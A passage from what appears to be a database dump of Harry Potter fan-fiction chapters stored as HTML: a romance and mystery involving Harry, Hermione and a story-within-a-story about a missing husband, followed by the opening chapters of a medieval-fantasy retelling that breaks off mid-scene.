smiling to himself. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>A/N:\n</b>Thanks Bookworm Sweetheart at\nFanfiction.net for the idea! </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(55, 2, '\n\n\n\n\n\n\n\n<p class="MsoBodyText" style="margin-top:0in;margin-right:32.25pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;tab-stops:center 1.0in"><b>A/N</b>:\nHey this is the first story I&#8217;m writing on my brand new laptop!!! I like it a\nlot. It&#8217;s a Compaq and types really easily. Maybe it will inspire me to write\nbetter! We&#8217;ll have to see&#8230;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><b>Disclaimer</b>:\nI do NOT own this. There is no way I do.&nbsp;\nI just don&#8217;t. If I did then I&#8217;d be living in the lap of luxury.\nUnfortunately for me my only luxury is my cell phone and laptop. LOL. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &nbsp;<i>Jonathon\nsat at his desk wondering when Adelaide would get there. He was very taken with\nher. Even if she was married, She was very attractive; She had long thick,\ncurly brown hair and had warm; deep cinnamon colored eyes. He sighed. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i> &#8216;Rap rap rap.&#8217; Someone behind the door knocked.\nJonathon jumped up and smoothed his pants of nonexistent wrinkles and\nstraightened his tie and then went to answer the door. She smiled at Jonathon\nwarmly. &#8220;Hello, Jonathon.&#8221; She greeted him.</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i> &#8220;Hello,&#8221; He responded. His eyes seemed glued\nthe place on her sweater where it clung tightly to her chest. He finally\nsnapped his eyes out of place. &#8220;So&#8230; umm did you bring the letter?&#8221; He asked. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i> &#8220;Oh yes.&#8221; She said, opening her purse and\npulling out a business-sized envelope. It was creased and worn. As if it had\nbeen read over and over. She pulled out the letter and passed it to Jonathon.\nTheir hands touched and they blushed like a bunch of thirteen year olds.\nJonathon opened it and began to read:</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><b><i>Mr.\nJosiah A. March,</i></b></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><b><i> You know who I am and you know why I am\nwriting. You are in danger, March. Awful danger. You owe money to the wrong\npeople. Why haven&#8217;t you paid us back, March? Figured we&#8217;d forget? We do not\nforget. We never forget. Never. You can&#8217;t run and you can&#8217;t hide. We have\npeople everywhere. Everywhere, March. Everywhere you go we&#8217;ll be there. We will\nget you</i></b></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><b><i>~A.B.</i></b></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><b><i> </i></b><i>Jonathon let out a\nbreath. &#8220;Well, Adelaide. It seems you may be right.&#8221; He folded the letter back\nup and placed it in the envelope. Adelaide nodded.</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i> &#8220;Yes, well. I have excellent instincts.&#8221; She\nsaid. She wiped her eyes quickly. &#8220;Well, Jonathon, I suppose we should get to\nwork.&#8221; </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> Harry felt something cross his cheek and his\neyes snapped open. Standing above him was a bewildered Hermione. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;I&#8217;m sorry, Harry. I didn&#8217;t mean to wake you.&#8221;\nShe said quietly. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;What time is it?&#8221; He asked.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;Early.&#8221; She responded without looking at her\nwatch.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;Why were you in here?&#8221; He asked. Hermione\nblushed lightly. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;Well I couldn&#8217;t sleep&#8230;&#8221; She said, she almost\nseemed preoccupied in her answer. Harry looked down and realized he was\nshirtless. He was only wearing his boxers. He blushed and grabbed a wife beater\nfrom the bottom of the bed and pulled it down. He then slid over and made room\nfor Hermione to sit down.&nbsp; She sat down\nand pulled her knees to her chin. Harry took note of her pajamas. The bottoms\nwere covered with pictures of a doll from the 80s called &#8216;Strawberry Shortcake&#8217;\nand the top was a red tank top. She was wearing a waist length robe with\n&#8216;Hermione&#8217; written in cursive print over her right breast. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;Why couldn&#8217;t you sleep?&#8221; He asked, putting his\narm around her. Hermione breathed in his smell and sighed. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;I am worried about this case. It&#8217;s a dead end.\nA completely <b>dead</b> end.&#8221; She whispered. Harry sighed.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> &#8220;I agree but there may be something. <b>Something</b>.\nWe can do. There has <b>got</b> to be!&#8221; He said, trying to reassure himself as\nwell. Hermione sighed again and leaned her head into Harry&#8217;s chest. Harry was\nsurprised how comfortable the small act made him. He sighed too and pulled\nHermione into a tight hug. &#8220;Don&#8217;t worry, Herms.&#8221; He said, using his pet name\nfor her. &#8220;It&#8217;ll be alright.&#8221; Hermione didn&#8217;t respond, but she nodded wearily.\nWithin minutes her breathing fell into rhythm and she was fast asleep. Harry\nsmiled and closed his eyes too and fell into a deep slumber.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"> <i>Jonathon and Adelaide sat in Jonathon&#8217;s car,\ndriving to the bank where Josiah worked. They decided that would be a better\nplace than any to find clues. Soon enough they pulled in the parking lot to the\nbank and Adelaide stepped out and walked to the front door, Jonathon followed.\nMore than one he found himself staring where he couldn&#8217;t have but he then\nslapped himself out of it and reminded himself to take a nice long <b>cold</b>\nshower when he got home. They stepped into the Bank and it was mostly empty.\nOne of the tellers looked at them and smiled. He came over to Adelaide. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;Mrs.\nMarch! What a surprise! Mr. March still sick, eh? What a shame, what a shame.\nWhat can I help you with? He asked. Adelaide smiled.</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;Well,\nGeorge, I need to show my husbands office to Mr. Ward. He is my husbands&#8230;\nconsultant.&#8221; Adelaide said. George looked skeptical but ushered them to a door\nlabeled &#8216;Josiah Artemis March, Esq.&#8217; He pulled the door open. Adelaide and\nJonathon slipped into the room. In the room was a desk and behind it was a\nblond woman, typing something or other. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;Mrs.\nMarch, well hello! To what do I owe this surprise?&#8221; She asked. Adelaide smiled\nfalsely. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;Mr.\nWard and I are just looking into my husbands office for a moment, Pam.&#8221; She\nsaid. Pam nodded and walked to another door and opened it. She was wearing a\nskirt that barely read her mid thigh and a blouse unbuttoned down just a tad\ntoo far. Adelaide made a face to Pam&#8217;s back as she opened the door. They walked\ninto the lavish room. In the center was a large desk made of fine; dark wood\nand had a high back leather chair behind it. Jonathon walked over and pulled\nout one drawer. He passed it to Adelaide. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;Look\nthrough this.&#8221; He said and he pulled out another for himself. They sat on the\nfloor and went through the drawers. For about half an hour they searched each\nsheet of paper for something. Just then he heard Adelaide gasp and let out a\nsmall scream. She was holding a photograph. &#8220;What?&#8221; He asked. Adelaide didn&#8217;t\nanswer. She just shook her head and began to cry. He took the picture from her\nhands and stared at it in disbelief. It was undoubtedly the woman they had just\npassed minutes before and Adelaide husband in bed wrapped in a tangled embrace.\nNeither was wearing clothing. Adelaide began to sob and Jonathon gave her an\nawkward hug. He put his hormones aside and tried to comfort her the best to his\nability. Jonathon never had sisters and his mother never cried in front of him\nand despite the fact he had been with many women in his lifetime most had been\none nightstand and they rarely cried. He let Adelaide cry into his shirt and\nthen she finally regained herself enough to stand up in a huff and walk out\ninto the adjoining room. Jonathon jumped up and followed her. She walked up to\nPam and threw the picture in her face. Pam&#8217;s face became pale instantly. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;YOU\nSLUT!&#8221; Adelaide yelled. &#8220;YOU UNBELIEVABLE WHORE!&#8221; She screeched. &#8220;HOW <b>COULD</b>\nYOU? YOU KNEW HE WAS MARRIED!&#8221; Pam flushed. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;I\ndidn&#8217;t give him anything he didn&#8217;t ask for.&#8221; She said in a hiss. &#8220;He said you\nwere a cold frigid-&#8220; WAPP! Adelaide slapped Pam with all her might. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;You\nare fired.&#8221; She murmured. Jonathon took Adelaide by the elbow but she shook him\noff. &#8220;Don&#8217;t you dare come back. Ever. You hear me?&#8221; Pam nodded. She didn&#8217;t dare\nobject. She knew Adelaide had the authority. The &#8216;Johnson&#8217; in March, Johnson,\nand Filler was her father. She had the authority to fire her. Adelaide stomped\ninto her husband&#8217;s office and grabbed her purse. &#8220;Let&#8217;s leave, Jonathon.&#8221; She\nsaid. Jonathon nodded. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>Back\nin Jonathon&#8217;s car Jonathon sighed. &#8220;I understand if you no longer want to\nfinish the search.&#8221; He said. Adelaide laughed dryly. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&#8220;Oh\nno. We&#8217;re finishing. I can&#8217;t divorce the bastard if I have no idea where he\nis.&#8221; Adelaide said. Jonathon laughed lightly. So did Adelaide. </i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><i>&nbsp;</i></p>\n\n<p class="MsoBodyTextIndent">&#8220;OH MY GOD!&#8221; A voice yelled, shaking Harry from a\npeaceful slumber. He saw Ron hovering above him, his face even redder than his\nhair. Harry then realized there was someone else in his bed- Hermione. &#8220;OH MY\nGOD! My best friends are in bed together&#8230;. OH MY GOD! Harry what are you\ndoing?&#8221; Ron yelped. Harry put a finger to his lips, signaling Ron to hush up. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&#8220;Calm\ndown, Ron. It isn&#8217;t what it looks like. And it looked pretty bad. Harry&#8217;s shirt\nonce again found its way to the bottom of the bed and Hermione&#8217;s robe also was\nleft in a heap by the bed and her shirt was pushed up. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&#8220;Then\nwhat is it?&#8221; Ron asked. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&#8220;Hermione\ncouldn&#8217;t sleep. She came in to talk. We fell asleep. It was a chaste as a\nchurch. I swear.&#8221; Harry pleaded. Ron looked very disbelieving.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&#8220;Well\nwe should probably get her to her dormitory do her reputation won&#8217;t be ruined.&#8221;\nRon reasoned. Harry nodded. He climbed out over her and picked her up. A few\nminutes later she was back in the girls dorm safe and sound.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&#8220;So&#8230;&#8221;\nRon began with a sly smile upon his face. &#8220;What <b>really</b> happened?&#8221; He\nasked. Then Harry threw a pillow at him.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in"><b>A/N</b>:&nbsp; I hope you enjoyed that chapter! I wrote it\nin one night. Granted it is almost one in the morning&#8230; Anyways at least I\nfinished it! As you can see this chapter is primarily in Harry&#8217;s eyes and\nthat&#8217;s a bit hard for me&#8230;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;tab-stops:center 1.0in 7.5in">&nbsp;</p>\n\nJak009: Thank you!\n\n\n\n\n\n\n'),
	(56, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><u>The Mage Knights</u></b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">E.C.R. Potter</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A/N In this story, we find our familiar\ncharacters in a not so familiar setting: namely a complete medieval type\nfantasy world of knights and chivalry, of quests and adventure, and of kings\nand kingdoms.&nbsp; The primary inspiration\nfor this story is J.R.R. Tolkiens\'s <u>The Lord of the Rings</u> and Enix\'s\nrole-playing video game series, <u>Dragon Quest</u> (or <u>Dragon Warrior</u>).&nbsp; It is basically a novel length H/Hr epic</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: The <u>Harry Potter</u> series\nbelongs to J.K. Rowling, Warner Bros., Scholastic, Bloomsbury, Raincoast, and\nanything else related.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 1: A Story in History</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was a dark time in the lands of\nMagiterran.&nbsp; The Kingdom of Gryffindor\nhad been conquered by the Kingdom of Slytherin 15 years ago.&nbsp; The Alliance of the Kingdoms of Hufflepuff\nand Ravenclaw were still holding out in the war against Slytherin, but it was\nquite clear that it would only be a matter of time before they too would\nfall.&nbsp; Indeed, the fall of Gryffindor,\nonce the greatest of the four kingdoms, had changed the balance of power, and\nit was obvious that all of Magiterran would eventually be controlled by the\nSlytherin kingdom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The people of the former Kingdom of Gryffindor\nlived in terror as they were violently oppressed by Slytherin warriors on a\ndaily basis.&nbsp; Everyday there were rumors\nof villages that had been destroyed or people being tortured to death simply\nfor their oppressors\' entertainment.&nbsp;\nFreedom had simply ceased to exist the day the Gryffindor Royal Family\nwas assassinated.&nbsp; However, there were\nthose who still clung to the hope that things would eventually turn better\nagain.&nbsp; One of those was a 16 year girl\nwho lived in a village near the Northeastern borderlands of the former\nGryffindor kingdom.&nbsp; Her name was\nHermione Granger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was a farmer\'s daughter.&nbsp; She was not necessarily stunningly beautiful\nbut she had a sense of prettiness that radiated in a form of inner beauty.&nbsp; She had bushy brown hair that fell just\nbelow her shoulders and her brown eyes sparkled with a sense of warmth and\nintelligence.&nbsp; \'Intelligent\' would\nprobably be an understatement when describing her, for she had taught herself\nhow to read at an early age.&nbsp; Books were\nher passion and it was quite common that she would spend a good deal of the day\nreading books that she found in the village library or church when she should\nhave been helping her family in the fields.&nbsp;\nIt was not considered \'proper\' for a farmer\'s daughter to read, but\nHermione could have cared less about what was \'proper\'.&nbsp; She often used what she learned in the books\nto tell the village children stories about the days when they were still\nresidents of the Kingdom of Gryffindor and ruled by good King James and fair\nQueen Lily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Queen Lily was a champion of the common\nfolk,&quot; she would say while sitting on the on a bench in the middle of the\nvillage square surrounded by children.&nbsp;\n&quot;She devoted her life to happiness of those who were less fortunate\nin terms of wealth and worked hard at helping the poor.&nbsp; The people loved the Queen with all their\nhearts since she identified with the commoners.&nbsp; She considered herself as one of us and always came to meet the\ncommon folk in person.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Did you ever meet her?&quot; asked a girl\nof about seven.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I was only thirteen months old when the\nKing and Queen died,&quot; answered Hermione.&nbsp;\n&quot;But there are many grown ups in this very village who have.&nbsp; I\'ve heard them tell stories of&nbsp; how loving and kind she was and how much\nthey loved her in return.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;People also loved King James.&nbsp; He was a wise ruler and a brave soldier who\nwould have sacrificed his own life for the sake of his people.&nbsp; He always personally led his armies into\nbattle and always identified himself as one of the soldiers.&nbsp; I could tell you about the hundreds of\nstories about them.&nbsp; But without the\nleadership of the royal family, the armies soon crumbled and the Slytherin\narmies were able to storm into our lands and...&quot;&nbsp; At this point, Hermione was no longer able to continue.&nbsp; There was a brief silence as the children\nwaited for her to continue with her stories.&nbsp;\nWhen it became clear that she wasn\'t going to continue, the audience\nslowly got up and returned home.&nbsp; After\nthe last child had left the village square, Hermione got up and started walking\nback to her own home.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As she walked back she looked up toward the\nstars.&nbsp; She had only been a year old\nwhen King James and Queen Lily had been killed.&nbsp; She had never known a life of freedom and happiness, but she knew\nthat any life would be better than the one of fear and sadness that they lived\nin.&nbsp; &quot;There is always hope,&quot;\nshe whispered to herself.&nbsp; &quot;We must\nnever lose hope.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer:&nbsp;\nIts all J.K. Rowling\'s stuff.&nbsp; I\nonly own the plot and the setting.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 2: The Knight with the Lightning Bolt\nScar</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was only a week later that Hermione\'s life\nchanged forever.&nbsp; It was mid summer, and\nHermione had ventured into the woods to look for mushrooms as she usually did\non such days.&nbsp; She hadn\'t been to lucky\nhowever, and before she knew it, it was quite late.&nbsp; &quot;I should really get back to the village before it gets too\ndark.&quot; she sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">However, she noticed that something was\ndreadfully wrong when she was still a quite a distance away from the edge of\nthe woods; there was a reddish glow in the night sky, toward the general\nvicinity of the village.&nbsp; Fearing the\nworse, Hermione hurried toward the edge of the woods.&nbsp; When she finally got there, she gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The village was under attack!&nbsp; Houses were on fire and Slytherin warriors\nwere running all of the place along with dark creatures that appeared to be\nunder their control!&nbsp; Orcs, trolls,\nveela, goblins, werewolves, manticores, and chimaeras were tearing down\nbuildings and killing every living thing in sight that was not a Slytherin or a\ndark creature!&nbsp; Hermione stared in shock\nas she saw many people she knew personally being murdered right before her\neyes!&nbsp; Then, before anyone saw her, she\nturned around and ran!&nbsp; Hermione ran as\nfast as her legs could&nbsp; carry her away\nfrom the massacre: away from the only life that she knew that had been taken\nfrom her in one attack.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Eventually, she grew exhausted and collapsed\nunderneath an old oak tree.&nbsp; As she sat\nthere, the reality of what she had just witnessed settled in, and she burst\ninto tears.&nbsp; \'My family is dead,\' she\nthought.&nbsp; \'My friends, my home, my whole\nlife is gone.&nbsp; What more can possibly\nhappen?\'&nbsp; At this, she started crying\neven harder.&nbsp; It was only after her\ntears had subsided a little when she noticed a large shadow over her.&nbsp; Slowly, Hermione looked up into the face of\none of the trolls from the village.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The troll was a horrible sight to look\nupon.&nbsp; It was twelve feet tall, had grey\nskin and was carrying a large wooden club.&nbsp;\nHermione was to paralyzed with fear to even scream as the troll grabbed\nher by the waist and hoisted her up.&nbsp;\n&quot;No....please....&quot; was all she could say as more tears flowed\ndown her cheeks.&nbsp; She anticipated the\nworse as the troll slowly started lumbering back towards the village, carrying\nthe sobbing girl in its hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was then that it happened.&nbsp; A pure white horse, with a knight on its\nback, jumped out in front of the troll, startling both the troll and\nHermione.&nbsp; The knight was a most\nmagnificent sight to behold.&nbsp; He was\nabout Hermione\'s age and was quite tall and handsome.&nbsp; He was dressed in shiny silver armor with red and gold highlights\nthat consisted of breastplate, waistguard, boots, shoulder coverings, and\ngauntlets.&nbsp; From beneath his shoulder\ncoverings flowed a brilliant red cape and in his right hand he carried a silver\nsword with gleaming rubies adorning the handle.&nbsp; His head gear was more like a head band&nbsp; with a drawn up visor that was decorated with metallic bird\'s\nwings.&nbsp; Messy raven black hair stuck out\nall around his head gear, but the most striking aspect of the knight were his\nemerald green eyes and a lightning bolt shaped scar on his forehead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Put the girl down,&quot; he ordered in a\nclear, even tone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At first, the troll simply stared at the\nknight.&nbsp; Then, 